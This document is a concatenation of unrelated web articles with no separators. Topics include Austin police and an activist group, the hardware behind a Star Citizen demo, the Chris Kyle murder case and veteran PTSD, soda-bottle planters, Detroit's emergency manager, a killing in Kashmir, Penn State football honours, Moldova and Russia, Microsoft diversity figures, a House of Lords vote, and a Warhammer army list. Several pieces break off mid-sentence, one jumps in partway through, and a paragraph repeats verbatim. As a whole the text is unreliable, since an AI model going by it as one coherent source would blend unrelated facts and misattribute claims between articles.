“The Austin Police Department has repeatedly retaliated against those who exercise their First Amendment rights by attempting to charge them with either interference or failure to obey,” Holmes attorney told KVUE. “No such charge leveled in the past four years has ever resulted in a conviction.”
In April, Austin Police Chief Art Acevedo criticized the organization for some of its social media posts following the shooting of an Austin Police officer.
Peaceful Streets Project’s website says they aim to be an “all-volunteer, grassroots effort uniting people to end the institutional violence taking place on our streets and in our society.”That comes down to hardware. As we detailed heavily in our Pascal architecture and Polaris architecture deep dives, this generation of hardware has focused efforts on stabilizing frame throughput for greater consistency. Variance between frame delivery exceeding that of the monitor's refresh rate, e.g. 8ms for a 120Hz display, 16ms for a 60Hz display, will create more runt frames and screen tearing at time of playback. This is because the monitor, without adaptive sync tech (which the projector almost certainly did not have), slaves to the GPU and either waits on refresh ( V-Sync ) for completed frames or immediately “publishes” the frames to the screen (V-Sync off). The latter creates tearing by producing runt frames which don't fully “paint” to the display, with the former producing stuttering when framerate falls below the V-Sync threshold, triggering what is effectively a reprojection of the previous frame.
Covering the Star Citizen technology demonstrations and planetary procedural generation v2.0, we noted that the live framerate, although variable, seemed to stick around the ~96~100FPS AVG range. Even the hardest dips fell to about 75FPS, mostly when the Constellation star ship entered the camera frustum, but overall frame throughput was consistent and fairly fluid. (Note: Some folks reporting low dips to ~36-43 at times. We did not watch the FPS counter for the entire demo.) Frametimes were also on-point, sitting at an average of about ~8~10ms delta between frames, or effectively perfectly fluid on a 60-120Hz display. Z-fighting and artifacting occurred in the demo, but that is known to the team and is mostly a result of the LOD scaling and pop-in. Runt frames, however, were not much of an issue during the gameplay demonstration.
The CitizenCon demonstration, unsurprisingly, was powered by one of the two major GPU architecture releases this year. CIG assembled a system using an ASUS ROG GTX 1080 Strix, built on the GP104-400 Pascal GPU and 10Gbps GDDR5X memory from Micron. For more on this, see our GTX 1080 architecture deep dive here, or our liquid-cooled 1080 round-up here). Short of products which we consider non-consumer, e.g. Titan-class or Firepro-class cards, the GTX 1080 remains the top single GPU performer on our current game benchmarks. CIG coupled this with an i7-5820K SKU CPU at its stock 3.3GHz clock-rate (no overclock), which was released on the Haswell-E architecture last year. 64GB of Corsair's Vengeance DDR4 memory (speed unspecified) was socketed in an ASUS X99-A motherboard (model unspecified), with a Corsair Vengeance C70 enclosure used for the case.
Update: The demonstration was run at 1080p.
If tables are easier for you, here it is:
Star Citizen Demo PC Build
(Note: Specs retrieved directly by GamersNexus, directly from CIG).
Let's Talk Optimization
Before this gets sensationalized as “Star Citizen Requires $2000 PC to Run,” let's clear-up a few things about how game development and driver development work.
Hardware, GPUs especially, don't just natively “work” with any application. Silicon manufacturers and developers must work together to ensure drivers understand and optimize performance within the drivers for that application. Datapath organization, for instance, is something that's out of CIG's hands on the driver side – we'd look to AMD and nVidia for that, who build their display drivers to optimize datapaths and leverage their vastly different architectures for each game. Frametime variance alone is a big deal in games, and can be resolved with driver updates.
Star Citizen isn't done. Drivers don't really exist for it yet. That's not news to anyone, but it's important to point out. Let's assume, just for a second, that Star Citizen shipped today. There'd probably be day-one (ish) drivers from each major GPU vendor, and those drivers would almost certainly include optimizations which improve FPS – at least low percentile performance – to a marked degree. We see this all the time when we're benchmarking games pre-release. On numerous occasions, our team has thrown out hours of test work if drivers update prior to game launch, just because we know the difference can be that critical to measure.
And then there's the game software optimization, which is in CIG's hands almost exclusively. This is stuff that CIG's Sean Tracy has told us the team is working on, including CPU thread allocation and the jobs system, framebuffer optimizations and limiting VRAM consumption, and more. Because there's no public, finished game, it doesn't make much sense to optimize yet. That's mostly done at the end, when assets are more finalized, level structures and art budgets are locked, and optimizations can be applied at a lower level to the hardware. As an example to Star Citizen specifically, the conversion to 64-bit world space coordinates theoretically imposes a marginal (but measurable) performance hit on CPUs. More time is required to calculate 64 bits, obviously. With the technical team's optimizations, Star Citizen has managed to actually post a slight performance improvement on newer CPUs (e.g. Skylake or Haswell onward). This is all done with programming, datapath management, jobs management and spawning, and other process improvement – ergo, “optimizations.”
And none of that is final. So, the point of this side discussion is to hopefully put an early halt to the “you need a $700 graphics card to play this game,” because we just don't know if that's true yet. It certainly could be – but that's not likely, and we'd recommend waiting a little longer to see how things shake out once release candidates are being pushed.
One more note: The memory capacity is because this thing is a dev box. Don't read too far into that. Development tools eat memory far-and-away beyond what a consumer software package should.
The cool part, though, is that we have some preliminary performance metrics from the Homestead demo, and we know what hardware was used to power those boxes.
Note -- we are awaiting correspondence on the resolution of the demo.
We have updated with the resolution -- 1080p for the demo.
- Steve “Lelldorianx” Burke.Eddie Ray Routh’s booking photo. (Erath County Sheriff’s Office via Reuters)
Eddie Ray Routh barely knew Chris Kyle when he shot and killed the famed Navy SEAL sniper on a remote Texas shooting range on Feb. 2, 2013.
Routh, who admitted to police that he killed Kyle and the marksman’s friend Chad Littlefield, will have his day in court early next month. By then, news of Kyle’s life, his “unverifiable” legacy and his tragic death will have already ricocheted around the world, thanks to the box office hit “American Sniper.”
The circumstances of Kyle’s death aren’t discussed in detail in the Oscar-nominated biopic, which mostly focuses on Kyle’s career as one of the country’s most praised and skilled snipers.
Though the movie is presented as a mini-chronicle of America’s modern wars, it omits a chapter in Kyle’s real-life story that reflects on war’s dark, lingering consequences: His death at the hands of another veteran — one who had been scarred by the effects of war-related mental illness.
Routh’s many troubles were the very reason Kyle and Littlefield were in contact with him. Kyle’s trip to the Rough Creek gun range that day was likely part of an effort to help Routh deal with his post-traumatic stress disorder.
But at some point that day, Routh, a 27-year-old former Marine, opened fire on the two men, killing them. He took their Ford 350 truck and fled.
“He’s all crazy, he’s [expletive] psychotic,” Routh’s panicked sister, Laura Blevins, told the 911 dispatcher that day.
“He was recently diagnosed with PTSD,” her husband, Gaines Blevins, added later on the call.
[RELATED: A guide to the ‘American Sniper’ culture wars controversy]
It wasn’t the first time Routh’s family had called law enforcement pleading for help. He had been in and out of psychiatric wards for years. He had threatened to kill his family and himself — threats that were taken so seriously that a Marine friend removed all the weapons from the house for safekeeping.
Chris Kyle. (Paul Moseley/The Fort Worth Star-Telegram file via AP)
“They’re all hunting weapons, you know, shotguns and rifles,” his mother, Jodi Routh, said in a 911 call to police months before the shooting. “He was threatening to, you know, shoot himself, and I just can’t have that. … We were trying to get them out of here without him seeing us take them out.”
Routh’s relatives say he was formally diagnosed with PTSD. And recollections from family and friends suggest that he might have suffered from other mental illnesses as well.
That Kyle would be killed by a veteran who was like so many others he tried to help — troubled by war and struggling to adjust to civilian life — was a tragedy layered upon a tragedy. Kyle had answered the call from Routh’s mother to help her son, but Eddie Routh turned on him, shooting him in the back.
The people who knew Kyle best are not interested in the situation’s dark irony.
“To try and even find an excuse is disgusting,” his widow, Taya Kyle, recently told the Los Angeles Times. “I know people with PTSD, and it’s very real and very hard. But it doesn’t change your core character.”
Yet the troubling connection between war veterans, mental illness and acts of violence is persistent.
[RELATED: ‘War is brutal on the body.’ Veterans’ health problems go far beyond wounds from bullets and bombs.]
A 2014 study found that veterans who had problems with PTSD or alcohol abuse were seven times more likely to engage in acts of “severe violence” than other veterans. And in 2011, a New York Times analysis of some of those cases found dozens of examples of Iraq and Afghanistan veterans accused of murder; some of the veterans even turned weapons on themselves.
There are no current and official nationwide statistics about veterans who enter the criminal justice system.
While there are efforts to create alternative courts and sentencing guidelines for veterans accused of crimes who suffer from PTSD and combat-related mental illnesses, those efforts have been slow to apply to those accused of serious violent crimes.
“Violent crimes are excluded, which to me is a real shame; you should look at it case by case,” said Duncan MacVicar, a retired Vietnam veteran who began working with California jurisdictions to establish veteran treatment courts in the state. “Is it really true that someone with PTSD can commit a crime because of that problem? I can guarantee you that it’s true.”
Routh’s version of the story has yet to be fully told. Next month, that might finally happen — with the world bearing witness.
His lawyer, J. Warren St. John, will reportedly pursue an insanity defense. But St. John has already questioned whether he can get a “fair trial” while a blockbuster film about one of the men his client killed plays in theaters nationwide.
St. John’s petition to move the trial from Erath County in Texas has already been denied once; it will likely be even more difficult now to find a suitable venue where anyone can claim to not know Chris Kyle’s name, or at least his “American Sniper” accomplishments.
It is also unclear whether Routh’s diagnosed PTSD and mental illness will ultimately have any bearing on the trial.
The first steps in jury selection are underway in a Texas court for the trial of the man charged with murdering Chris Kyle, the former Navy SEAL portrayed in the hit movie "American Sniper." (Reuters)
And while there is a growing recognition that PTSD can profoundly change or exacerbate the mental state of veterans who come back from war, Chris Deutsch of the Virginia-based organization Justice for Vets says it remains very difficult to balance the need for rehabilitation with a desire for justice in a case where a victim was seriously injured or killed.
[RELATED: Are veterans’ mental health needs being met?]
“More than ever before, there’s a recognition that these issues can have a profound effect on behavior and are profoundly affecting men and women who have no criminal history and no history of violence,” Deutsch said of vets with PTSD. “How do you get that person into a situation where they are being connected to treatment and where you’re also protecting public safety and ensuring that there’s structure and supervision and accountability?”
Either way, both sides will try to disentangle Routh’s complicated pre-war past from whatever mental scars he might bear.
Friends who knew him told the New Yorker in a riveting 2013 investigation that as a teen, Routh was a “standard troublemaker” with no respect for teachers:
Kc Bernard, who was a security guard at the school for two of the years that Routh was there, said that Routh was “always ready to fight” and “had a chip on his shoulder.”
But his dispatches to family while he was deployed suggest that Routh was also haunted by the death he witnessed in the war zone, including one incident in which he might have killed someone while on patrol.
Routh served four years in the military and was stationed in Iraq from 2007 to 2008 and on a disaster relief mission in Haiti in 2010. He returned to the United States and worked odd jobs, and he was reportedly prescribed eight medications to treat a wide range of symptoms, including depression, mania and nightmares, according to the New Yorker.
His complex psychological profile and troubles with substance abuse that his family coped with upon his return are almost standard for people with PTSD.
“Other than depression, PTSD has more co-morbidities than any other mental disorder,” said Edna Foa, a psychologist at the University of Pennsylvania who developed a breakthrough treatment protocol for PTSD. “So it is very common to have PTSD and also depression and also other anxiety disorders, and many other morbidities.”
Though not everyone does, some people with PTSD experience flashes of anger as a symptom. When anger on rare occasions turns to violence, it could be because the person is experiencing a flashback, which might to them seem like a potent hallucination, Foa said.
Routh’s family doesn’t know what changed him, but they know that something eventually did. Their struggle with Routh’s mental state continued after he left the Marines until the day he told his sister he “traded his soul for a new truck” that afternoon in 2013.
For Routh’s family, the trial will be another painful moment in their long struggle to find help for their loved one.
“I am so sorry for the Kyles and the Littlefields,” his father, Raymond Routh, told the Daily Mail this month. “We wrote them letters of apology after it happened but you can’t talk to them because there’s anger, there’s hurt. They want justice.
“How do I explain I want justice for my son too?”
MORE: The ‘unverifiable’ legacy of Chris Kyle, the deadliest sniper in American history
How Bradley Cooper trained for the role of Chris Kyle in ‘American Sniper’
In the latest trailer for "American Sniper," directed by Clint Eastwood and based on the autobiography of the name, Bradley Cooper plays U.S. Navy SEAL sniper Chris Kyle, who is said to have had the most confirmed kills in U.S. military history. Kyle struggled with PTSD and was killed at a gun range by a fellow veteran in February 2013. The film opens Dec. 25. (Warner Bros. UK)
[This post has been updated to correct the spelling of Edna Foa’s name.]Here are three pretty ways to upcycle soda bottles and convert them into lovely planters! Using various sizes of bottles there are a whole variety of indoor plants you can use these for. There’s even one that waters itself! They take no time at all to make and can be a pretty edition to your kitchen or anywhere with some light that allows them to flourish!
Supplies Used
Various size soda bottles. 2 liter, 32 oz, and a tall skinny one. The straight sided ones are best. Walmart has their own soda brand that works great.
X-acto knife
Hot Glue Gun
String
Goo Gone
Free printables if desired (below)
Black dry erase marker (to mark bottles for cutting)
Thick water absorbent string or cord (for self watering planter)
Permanent makers (used for decorating if desired)
Drill (for self watering planter)
BOTTLE SIZES
This shows an example of the 32oz bottle and the tall skinny bottle I used in addition to a normal 2 liter size.
REMOVING LABELS
Remove the labels on all your bottles. After doing so use Goo Gone or something similar to get rid of the residue without marring the surface.
Trough Planter
This planter looks so awesome with a few cut out graphics attached to it. I used a 32 oz bottle. You can grab a download of the graphics seen or use your own. This would make a terrific gift!
FREE PDF OF LABELS
Cut an opening on one side of the bottle as shown.
Put in some small stones on the bottom for drainage. Add dirt and plants. Add your images.
Herb Planter
Cute standup herb planter. You could have a whole row of these in the window sill. I used a tall skinny bottle for this but any size would work.
Draw an opening on the side of your bottle with a dry erase marker.
Cut an opening where you marked.
I used a permanent marker to make designs on the bottle. Put some stones and soil in. Add your herbs.
Self-Watering Planter
For this planter I used the larger standard 2 liter size bottle cut approximately 5″ up from the base.
Drill a hole in the lid for the string to go through.
Take a thick jute type cord that will absorb water and feed it though the lid making a knot on the inside to keep it in place. Make it about 14″ long for this larger bottle.
Attach the lid to the bottle.
Place water in the bottom portion and place the top upside down into it. Add some stones for drainage, your soil and your plant or seeds. IMPORTANT: You MUST water the plant yourself at first as the soil needs to start out damp. After that it should pull water up the string into the soil on it’s own. Make sure it never dries out of the water will not seep up the string.– Records show that the new Detroit emergency financial manager, Kevyn Orr, has some unpaid taxes and two liens on his Maryland home.
Orr has apparently not paid $16,000 in unemployment taxes.
A spokesman for Governor Rick Snyder, who recommended Orr for the job, tells the Detroit News that there was an oversight by an accountant hired to file taxes for Orr. The spokesman says Orr has researched the issue and will pay in full as soon as possible.
Some opponents of the EFM say it’s interesting that Orr believes he can manage Detroit when he’s having trouble handling his own affairs. Orr was part of the legal team that worked on Chrysler’s bankruptcy.
On Friday, WWJ Legal Analyst Charlie Langton talked about some of the legal challenges still expected — and their chances.
“First, procedural: Since the governor appointed an EFM behind closed doors, that violates the Open Meetings Act,” said Langton. “Chances of success — not very good. It’s been tried before, and the statute allowed the governor himself to make that appointment.”
Next, is the EFM illegal?
“Should the governor do what the voters said they didn’t want? Chances of success — probably not that good,” said Langton. “The governor is following the current old EFM law, and the voters voted down the new EM law. Complicated — that’s why a judge will probably weigh in at some point.”
Detroit is billions of dollars in debt and has a budget deficit topping $300 million.A BJP youth leader, Gowhar Ahmad Bhat, 25, was abducted and killed by militants in Shopian district of South Kashmir on Thursday, police said.
A police officer said Bhat was abducted from his home in Shopian town around 6 pm. His body, with the throat slit, was later recovered from a nearby village.
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Confirming the incident, Deputy Inspector General of Police, South Kashmir, S P Pani said an investigation was being carried out. “Body found with throat slit. Price we pay in our fight against terrorism. Deep condolences. These sacrifices make our determination stronger,’’ tweeted BJP general secretary Ram Madhav.
Condemning the killing, senior BJP leader and legislator Surinder Ambardar said: ‘’This killing is unfortunate. We condemn this cowardly act. The innocent, young political worker represented the youth’s aspirations… it will not be tolerated.’’
BJP leader and media coordinator Altaf Thakur said Bhat had joined the party three years ago, and was a dedicated youth leader. “Recently, he played a pivotal role in organising the BJP’s successful youth convention in Srinagar… This could be a reason why he was killed.’’
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Former Chief Minister and NC working president Omar Abdullah tweeted: “How tragic. A young life snuffed out in such a heartless way just adds to the sense of shock. Allah jannat naseeb karey.’’The first game in
boys basketball history just got even bigger.
Reigning Mr. Basketball John Petty will choose between Alabama and Kentucky during halftime of the Jaguars' home game Nov. 10 against Huntsville, according to Jemison coach Jack Doss. Tipoff is scheduled for 7 p.m.
Petty, a 6-foot-5 wing, was set to take an official visit to Kentucky this weekend, but will reschedule, Doss said. Petty visited Alabama on Aug. 25. ESPN's Jeff Borzello first reported Petty's change of travel plans.
Petty is rated five stars by ESPN, and four stars by 247Sports, Rivals and Scout. He is ranked the No. 5 shooting guard in the nation by the 247Sports Composite. Petty averaged 19.9 points, 7.3 rebounds, 4.1 assists, 1.8 blocks and 1.8 steals while leading J.O. Johnson to a second consecutive 5A state championship in the program's final year. He was also named Gatorade Alabama Player of the Year.
Jemison, located in Huntsville, opened its campus this semester after replacing J.O. Johnson. Work on the Jaguars' gym, which will host the opening rounds of the AL.com Classic, should be completed next week, Doss said.
Updated at 2:30 p.m. with info about Petty canceling this weekend's Kentucky visit.I try to stay out of language wars these days. I find the whole endeavour incredibly tedious. I don’t really feel like arguing whether OCaml is better than Ruby is better than Scala is better than brainfuck is better than C. I like them all (ok maybe not brainfuck), and there are valid arguments for and against each of them.
But one thing I have a lot of trouble with is bad arguments. Not “arguments I disagree with”, but arguments which are simply outright bad.
Robert Fischer has a post on his blog: Scala is not a functional language. It’s not the first time this idea has come up. It’s not an idea entirely without merit. Scala’s functional features are certainly not as seamless to use as one might hope.
The problem is that while it is not an idea without merit, its presentation is certainly one without content. As per usual, every time this comes up, no one is actually willing to say what on earth they mean by “functional programming language”. This problem is ubiquitous. Consider the following wikipedia entry:
In computer science, functional programming is a programming paradigm that treats computation as the evaluation of mathematical functions and avoids state and mutable data. It emphasizes the application of functions, in contrast to the imperative programming style, which emphasizes changes in state. Functional programming has its roots in the lambda calculus, a formal system developed in the 1930s to investigate function definition, function application, and recursion. Many functional programming languages can be viewed as embellishments to the lambda calculus.
Notice the bait and switch there? It defines “functional programming” and then talks about “functional programming languages“. Everyone does this. The only unambiguous definition you find which includes the term “functional programming language” is that of Purely functional language. This is much less ambiguous, but it’s also the case that the vast majority of people arguing about whether Scala (or other language of choice) is functional are comparing it to a decidedly impure language. Certainly neither Clojure nor OCaml are purely functional.
On the other hand, if you choose “functional programming language” to simply mean “supports functional programming” then suddenly you have to acknowledge various languages like Ruby as functional and for some reason this makes people uncomfortable. So instead we end up with all sorts of hand waving and mumbling and no one is able to have a useful discussion because everyone is too busy making assertions which can’t be argued with because they don’t mean anything.
So no one defines the term, but everyone seems to “know what it means”. And what it inevitably means is “shares features with this language which I use and like and consider to be a functional language”.
For a particular extreme example, consider the following conversation on reddit from the last time this subject came up:
vagif:
Well, here’s my understanding of this disagreement.
I think many people (me included) do not feel that Scala is functional enough. It is not because of the mutable variables. It all boils down to simple syntax. That’s why completely imperative and old fashioned language CL (i use sbcl) feels to me much more functional than Scala will ever be with its modern functional features like pattern matching, type inference and list comprehensions.
“Functional” for me means simple small core of orthogonal features.
“Functional” for me means – List processing.
“Functional” for me means no premature optimization (deciding to use arrays instead of lists because they are faster etc.)
Obviously, trying to accommodate java OO model, makes Scala way to complicated, arcane, baroque in its syntax, to feel functional enough. DRMacIver:
I enjoy the fact that the word “function” does not appear in your definition of functional… vagif:
And for a good reason. Functions are part of any imperative language. That does not make them more functional. It is all that infrastructure, that allows for easy juggling those functions, that makes a language functional. Passing them as parameters and return values, anonymous functions, closures, polymorphic functions (be it a result of type inference or dynamic nature of language). It is this small core of orthogonal features, all geared up for list processing, that truly creates a functional feeling in a programmer.
This sort of woolly thinking is endemic in these arguments. Please try to avoid it. If you’re not willing to define “functional programming language” in a way that is at least moderately unambiguous and doesn’t involve arguments about “feelings” or simply feature comparisons with some language which you state as an example of functional programming, don’t bother making arguments about whether a language is functional or not.
Of course, once you start defining the term people will start arguing about the definitions. This is pretty tedious, I know. But as tedious as arguing about definitions is, it can’t hold a candle to arguing without definitions.Two of Penn State’s unquestioned leaders on the defensive side of the ball, as well as ten other Nittany Lions, have been recognized for their stellar performances during the 2014 campaign.
Linebacker Mike Hull was named the Butkus-Fitzgerald Big Ten Linebacker of the Year, and also named to the first team. This is the second time in three years a Nittany Lion has won the award, after Michael Mauti won it in 2012.
“I’m just so honored to be able to receive this award,” said Hull. “[But] it’s not possible without the great teammates around me… There’s been a lot of good times, a lot of bad times. Overall it’s bittersweet. But I couldn’t be happier with how this turned out.”
Defensive tackle Anthony Zettel also made the first team defense. The two star defenders set the tone for Penn State’s top ranked defensive unit, and gave fans a reason to get excited about each Saturday.
The two players stood out amongst some of the Big-Ten’s best and brightest defensive stars. The list includes players like Ohio State defensive end Joey Bosa, Michigan State defensive end Shilique Calhoun, and Michigan linebacker Jake Ryan, just to name a few.
With a new defensive coordinator in place, coupled with various unknowns going into the year, the odds were stacked against Mike Hull and the rest of Penn State’s defensive unit. Hull proceeded to turn in one of the greatest seasons in recent memory for a Penn State linebacker. His play throughout the season reminded Nittany Lion faithful of the Paul Posluszny-Dan Connor days, during the Linebacker-U era.
Hull posted 132 total tackles, along with two sacks, one interception, and two forced fumbles on the season. His total of 132 tackles ranked him sixth in the FBS, while placing him atop the Big Ten. Game after game, Hull made plays all over the field, and was a clear difference maker for Penn State’s top ranked unit. His leadership was imperative to the unit’s success, and his tenacity against the run made it difficult for teams to succeed on the ground against the Nittany Lions.
Anthony Zettel’s story is one of dedication and triumph, as the redshirt junior lineman made the offseason switch from defensive end to tackle. Zettel was asked to move inside to fit new defensive coordinator Bob Shoop’s system.
Zettel put on muscle and gained weight prior to the season to adapt to his new role as an interior lineman, and the hard work paid off immensely. Zettel exploded onto the scene, recording 36 total tackles, eight sacks, three interceptions, one forced fumble, and one defensive touchdown. He ranks third in the Big Ten in the sack category, and tied for seventh in the interceptions department, which is very rare for an interior lineman.
The accolades have been rolling in for the two standout defenders, as both were named to BTN.com’s All-Big Ten first team on Sunday. The recognition is well deserved, as both Hull and Zettel stood out from the crowd this season, while restoring Penn State’s feared defensive reputation.
In addition to Hull and Z |
or ever collapse. This was dangerous irredentism, of course. The Gagauz themselves are uncertain about their origins. Local identity is so complex that Georgetown's Charles King, among the leading experts in the field, calls nationality in Moldova a "decidedly negotiable proposition."
Then there is Transdniestria, a sliver of territory east of the Dniester River that is officially part of Moldova but that, with its heavily ethnic Russian population, seceded from Moldova after a brief war in the early 1990s. Transdniestria is now packed with Russian troops to act as a hammer against Moldova should the latter ever want to pivot toward the West. Transdniestria is the kind of legally murky, ill-defined smugglers' paradise that Putin wants to see multiply in eastern Ukraine.
For weeks I traveled around Moldova. Indeed, the common theme everywhere was that Russia is a reality while the West is only a geopolitical concept. Ultimately, this is why even many of the ethnic Romanians are resigned to the fact that Russia must be engaged.
I cannot help but recall the dark political landscape in Yugoslavia while reporting there in the 1980s in advance of the violent breakup of that country in the 1990s. My writing apparently helped influence a White House policy of inaction from 1993 to 1995. Yet it is only the darkest landscapes where intervention is ever required in the first place: You should know the worst about a place before you craft the most humanistic policy toward it. I am not here providing a fully fleshed-out policy toward Moldova or the other states facing Russia. I am saying only that there are incalculable human costs to Western inaction. And Western action must mean a whole-of-government approach — political, intelligence, economics and so forth — in order to counter what the Russians are doing.
Time may be short. Russian officials have reportedly held meetings with Moldova's ethnic minorities to get them to demand even more autonomy after Moldova goes ahead with the association agreement with the European Union signed at the end of June. The Russians know that Moldova is more than just a borderland: It is an unwieldy mix of peoples constituting multiple borderlands within a small and weak state. I fear for Moldova.Local NFL star pays it forward for Christmas shoppers Copyright by WRIC - All rights reserved Video
PETERSBURG, Va. (WRIC) -- Christmas shoppers got a huge surprise from Petersburg area native turned Seattle Seahawks running back CJ Prosise, helping to lighten the load and spread some cheer for the holidays.
He, along with non-profit Pay Away The Layaway, paid off thousands of dollars in gifts that shoppers had put on layaway at the Burlington Coat Factory in Colonial Heights.
"We just wanted to come back and just take care of as many people as we could, pay away layaway.", said Prosise's father, Calvin Prosise.
June Everson said she received a call Friday, telling her to be at the store at 10 a.m.
She didn't know what for but says it turned out to be a blessing that helped out tremendously.
She told us that she'd picked up, "some little clothes for my grandson. He just turned five months old and I didn't have the money to get this out. I was going to get it out at the first of the year, to be honest with you, but I've been blessed. This is Santa Claus, this is Christmas and I just thank God so much for it."
Calvin Prosise says it important to give back, but especially to your own community.
He said, "It just brings us joy to see all the smiles on their faces you know. It's very touching."Microsoft plans to tie executive bonuses to its goals regarding diversity after the tech giant reported, for the second consecutive year, a decline in the percentage of women working at the company.
Women made up 25.8 percent of Microsoft's global workforce at the end of September, a decline of 1 percent from the previous year, according to a company diversity report released Thursday. In 2014, women accounted for 29 percent of Microsoft's workforce.
Like most large tech companies, Microsoft continues to grapple with how to increase diversity in its workforce. Studies indicate that more-diverse teams, in terms of gender and race, show greater creativity and experimentation -- and get better results.
Microsoft's overall gender diversity puts it behind such tech rivals as Apple, Facebook and Google, all of which reported this year that women made up 30 percent or more of their workforces.
Microsoft blamed the continued decline on ongoing layoffs it began last year as part of the restructuring of the phone businesses the company acquired from Nokia in 2014. Many of the positions eliminated were manufacturing jobs at factories outside the US -- jobs that were held by a high percentage of women.
"While we are disappointed in the overall decline in the representation of women at the company, we know why it happened," Gwen Houston, Microsoft's general manager of global diversity and inclusion, wrote in the report. She went on to say that the company was encouraged by modest gains it made in the past year in the number of women it employs in technical and leadership roles.
Microsoft also reported progress in its hiring trends, saying women made up 27.7 percent of new hires this year, 2 percent higher than the company's current workforce.
Black and Latino employees also saw modest increases in the company's makeup. Blacks now compose 3.7 percent of the company's workforce, while Latino's make up 5.5 percent, increases of 0.2 percent and 0.1 percent, respectively.
Microsoft CEO Satya Nadella is expected to detail plans to make achieving diversity goals a factor in whether senior executives receive their full annual bonuses, Houston told Bloomberg News.The government has suffered a narrow defeat in the House of Lords over its Modern Slavery Bill.
Peers voted in favour of an amendment designed to give greater protection to overseas domestic workers.
The new clause - adopted by 183 votes to 176 - would allow domestic workers brought into the country by a foreign family to change employer.
The BBC's Sean Curran said the move by peers was a challenge to the UK system of "tied visas".
The Modern Slavery Bill has already cleared the House of Commons. When it returns to the House, MPs would have to agree to the new amendment for it to become law.
Rule changes
The amendment - which attracted cross-party support - was put forward by independent crossbench peer Lord Hylton, and backed by the Bishop of Carlisle.
It would give all overseas domestic workers, including people working for foreign diplomats, the right to change their employer while in the United Kingdom, ending the current system of tied visas.
The proposal would also give the workers the right to a three-month temporary visa to live in the UK where there was evidence that the person had been a victim of modern slavery.
Under previous rules overseas domestic workers were at first given temporary permission to stay and could eventually settle permanently.
But changes introduced by the government in 2012 meant that workers could not change jobs or renew their visas if they left their employer.
Image caption Domestic workers protested against immigration rules in London last year
The government said at the time that the arrangements should be brought into line with an immigration policy focused on only accepting highly skilled workers to the UK.
But charities say the rules must be reversed as they allow abusive employers to demand extremely long hours, and withhold pay and food.
The amendment approved by the House of Lords on Monday evening partially overturns the 2012 change.
Rebel peers
Lord Hylton argued that the current rules contained "a loophole for abuse". Explaining the purpose of his amendment, he told peers: "It will assist all private and diplomatic domestic workers by providing a measure of protection and flexibility that is otherwise lacking in the bill."
It attracted the support of Labour, with shadow Lords leader Baroness Royal of Blaisdon saying the government's promise of a review on the issue to report by July was unnecessary as the problem was already well documented.
"These workers need a change in the law and we have an opportunity today to make that a reality," she said.
Image caption Lord Hylton has been a long-time campaigner for protection of domestic workers
Home Office Minister Lord Bates said the last Labour government introduced the overseas domestic worker visa to facilitate people coming to the UK for short visits to bring their own household staff, and that the average length of such visits was still only 15 days.
He warned that the change being proposed would open up the opportunity for the visa to be "potentially used as another way in which labour can enter the UK".
He insisted there were a range of measures, some introduced by the bill, to help enslaved domestic workers. But he said a review was needed to examine the operation of the visa, after which the rules on it could be changed without the need for primary legislation.
However, despite his assurances, peers voted for the amendment, defeating the government by a majority of seven.
Later analysis of the division showed there was one Conservative rebel - Baroness Hanham - and one Lib Dem rebel - Baroness Hanwee. It was also backed by 135 Labour peers, 35 crossbenchers, four bishops and seven others.A few weeks ago, GW blessed the followers of Chaos with a couple of new updated supplements with new rules, and formations in the form of Black Legion and Crimson Slaughter. Neither of these updates have been particularly well received as a whole by the community, however Black Legion offers up what might be the strongest formation in the game we've seen in quite some time; The Cyclopia Cabal.
So, what is the Cabal and what does it do? Why is it so good? The formation requirements are 3-5 Chaos Sorcerers. They must be "Black Legion" thus must pay for the mandatory Veterans of the Long War upgrade. They gain a power called "Shroud of Deceit" which is not labeled as a malediction or witchfire power. It is a warp charge 3 power which allows you to take control of an enemy unit within 30" of the caster and make a shooting attack with that unit as though it were one of your own. For each additional sorcerer within 12" of the caster, you can gain an additional dice to use towards casting this power. So, what is the Cabal and what does it do? Why is it so good? The formation requirements are 3-5 Chaos Sorcerers. They must be "Black Legion" thus must pay for the mandatory Veterans of the Long War upgrade. They gain a power called "Shroud of Deceit" which is not labeled as a malediction or witchfire power. It is a warp charge 3 power which allows you to take control of an enemy unit within 30" of the caster and make a shooting attack with that unit as though it were one of your own. For each additional sorcerer within 12" of the caster, you can gain an additional dice to use towards casting this power.
While Shroud of Deceit is certainly a great power and a big difference maker (I'm looking at you Stormsurge), it is not what really makes the Cabal such a brutal formation. Rather, the Cabal is the cornerstone of the Cabal Star; a devastating death star capable of massive damage in both the psychic and assault phases.
How does it work? Typically the Cabal in this build are all Mastery Level 3 with bikes, and spell familiars, which allow for re-rolls of failed psychic tests. One of the sorcerers should be equipped with a Black Mace. With the current update to Black Legion, you are now allowed to purchase relics from either the Chaos Space Marines codex, or the Black Legion book. The Cabal is then placed with an allied Flesh Hounds unit from Khorne Daemonkin. Typically anywhere from 12-15 hounds or more. In addition, there is a juggerlord of some sort in the build; either a Chaos Lord or a herald. He's there to take on challenges.
How good can this death star be? Well, if the results of the Broadside Bash this year are any indication, they can be very good. James Carmona of Team0Comp won the Bash running the Cabal allied with KDK and Chaos Daemons. I will, hopefully soon, be publishing an interview with James discussing his list and how he fared at the Broadside Bash.
I have been running the Cabal star myself lately using the following build for 1850 with great results:
++Black Legion Formation++
++Cyclopia Cabal++
Sorcerer ML 3, Bike, Force Staff, Last Memory of Yuranthos, Spell Familiar
Sorcerer ML 3, Bike, Force Sword, Spell Familiar
Sorcerer ML 3, Bike, Force Sword, melta bomb, Spell Familiar
Sorcerer ML 3, Bike, Black Mace, Spell Familiar
Sorcerer ML 3, Bike, Force Axe, Spell Familiar
++Khorne Daemonkin CAD++
HQ:
Chaos Lord, Juggernaut, Goredrinker, melta bombs, sigil
Troops:
8 Cultists x2
Fast Attack:
12 Khorne Flesh Hounds
Fortification:
Void Shield Generator x3 void shields
Lord of War:
Chaos Knight Errant of Khorne w/ dirge caster
Total Points - 1848
How does this list work? First, up is generating psychic powers. We have 3 ML 3 sorcerers here generating powers off of Telepathy, Biomancy, and Daemonology-Sanctic trees. There are 3 key powers you are shooting for here: Endurance, Invisibility, and Hammer Hand.
With Endurance you have multi-wound models immune to instant death and with a 4+ Feel no Pain. This will be critical when you take peril as well. Invisibility, even in the ITC environment is still very, very good and will reduce the amount of saves your star ends up taking. Hammer Hand will give your cabal +2 strength, making the hounds strength 7 on the charge and the Black Mace will be strength 6 with fleshbane.
